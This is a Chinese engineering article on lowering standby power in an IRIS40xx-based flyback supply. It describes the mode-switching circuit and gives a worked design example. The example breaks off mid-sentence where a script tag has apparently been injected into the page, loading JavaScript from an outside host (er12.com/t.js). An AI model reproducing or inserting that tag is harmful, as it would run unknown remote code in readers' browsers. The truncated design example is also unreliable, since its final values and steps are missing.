一个简单的低待机功率的反激式电源方案

序言

  近来,电器设备在待机或空载时的功耗问题越来越受到重视。各个环保组织正推动着这方面的发展,他们致力于减少电器设备的损耗和能源浪费。这包括给电器设备制定标准的计划和预案,例如美国的“能源之星”(energystar)计划和德国的“蓝色天使”(blue angel)计划,这些计划在世界各地正被采用。一旦符合标准,生产商可以在其设备上贴上诸如“blue angel”和“energystar”的标志,表示它们是环保验证的。

  这些计划和预案正在逐步被广泛采用,很快将适用于所有电器设备。因此,这些设备中的电源必须是高效的,在待机或关闭状态时耗能非常低。

  这文章介绍如何设计电路,减低采用iris40xx系列集成开关器的反激式电源中的空载和待机状态损耗。要达到此目的,可以利用一个根据负载情况转换iris器件的工作模式的电路。准谐振模式(quasi-resonant mode, qr)用在重载情况下,脉冲比率控制模式(pulse ratio control mode, prc)用在轻载和空载情况下。在轻载和空载情况下切换到prc模式,电路将工作在15-20khz频率范围,这样空载损耗将从典型的2.5w(230vac输入)降低到大约0.8w。在空载情况下,准谐振模式会使电路在300-350khz的频率下工作,这样将导致较高的开关损耗。

  待机电路工作过程

  图1中的电路是一个采用iris40xx集成开关器件的典型单输出反激式电源。该电路与其它应用指南中的不同,它附加了一个在空载和待机情况下可降低运行功耗的电路。附加电路包括q1/r12/r13/c11/d8,这五种器件组成一个切换电路,控制从辅助绕组b流向iris40xx反馈端的准谐振反馈信号的通过或切断。

图1 备有待机电路的典型电源电路设计

  这个待机电路的工作过程相当简单,这里将作解释。d3/r5/c4/d4构成一个延时电路,它将从辅助绕组来的准谐振信息反馈到反馈管脚,使iris40xx可以探测到所有能量已经从一次侧传到了二次侧,以及漏极电压降到了最低点进行软开关。q1被安排在这个路径上作一个开关,用来使该反馈信号有效或无效,有效地将iris40xx的工作模式从准谐振模式(反馈有效时)转变到低频的脉冲比率控制模式(反馈无效时)。

  该电路通过监测辅助绕组的电压来决定两种模式之间的切换时刻。在正常负载下,辅助绕组电压较高,模式切换电路设置在适当水平,使得q1在这种条件下开通,qr反馈信号/延时电路有效。当电路降到空载或轻载条件下时,辅助绕组电压降到设定水平以下,使反馈/延时电路无效。

  r12/r13/d8组成分压器,用来设定待机模式切换电路的切换电压水平。这个切换电压水平由r13和d8上的压降决定。当辅助绕组的电压足够高,电流会流过d3/r12/r13和d8。这令到r12的电压下降,跟着pnp管q1的射基极之间的电压也下降。当此电压超过0.6v,电流即注入q1的射基结,q1便会开通。假如辅助绕组上的电压较低,使得很少或者没有电流通过r12,令r12上的压降(跟着是q1的射基极间的压降)低于0.6v,q1的射基结便没有足够的正向偏置,所以q1不能开通,使反馈延时信号无效。

  设计步骤

  让我们用一个例子来说明怎样设计和实现这部分电路,我们假定其余的电路已根据其他的设计指南设定好了。

  首先,让我们拿一个例子,正常设计的vcc为17v。如果辅助绕组上的整流管用的是诸如1n4148之类的器件,则辅助绕组电压应设计为18v。

  这样,在正常负载条件下,x点于能量传送周期时的电压为18v。现在我们想在x点选定一个电压值用来切换工作模式。这显然是低于18v的,因此我们应该挑选比预期的偏置电压要低几伏的电压值,以保证能在轻载时进行切换,但也能在满载条件下启动进入qr模式。让我们选15v(由于来自输出控制电路的反馈电流较大,轻载或空载时的辅助绕组的电压会降低)。

  如果我们在x点得到15v,那么q1的发射极(y点)的电压将比它低1v,这是因为d3的正向压降v?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计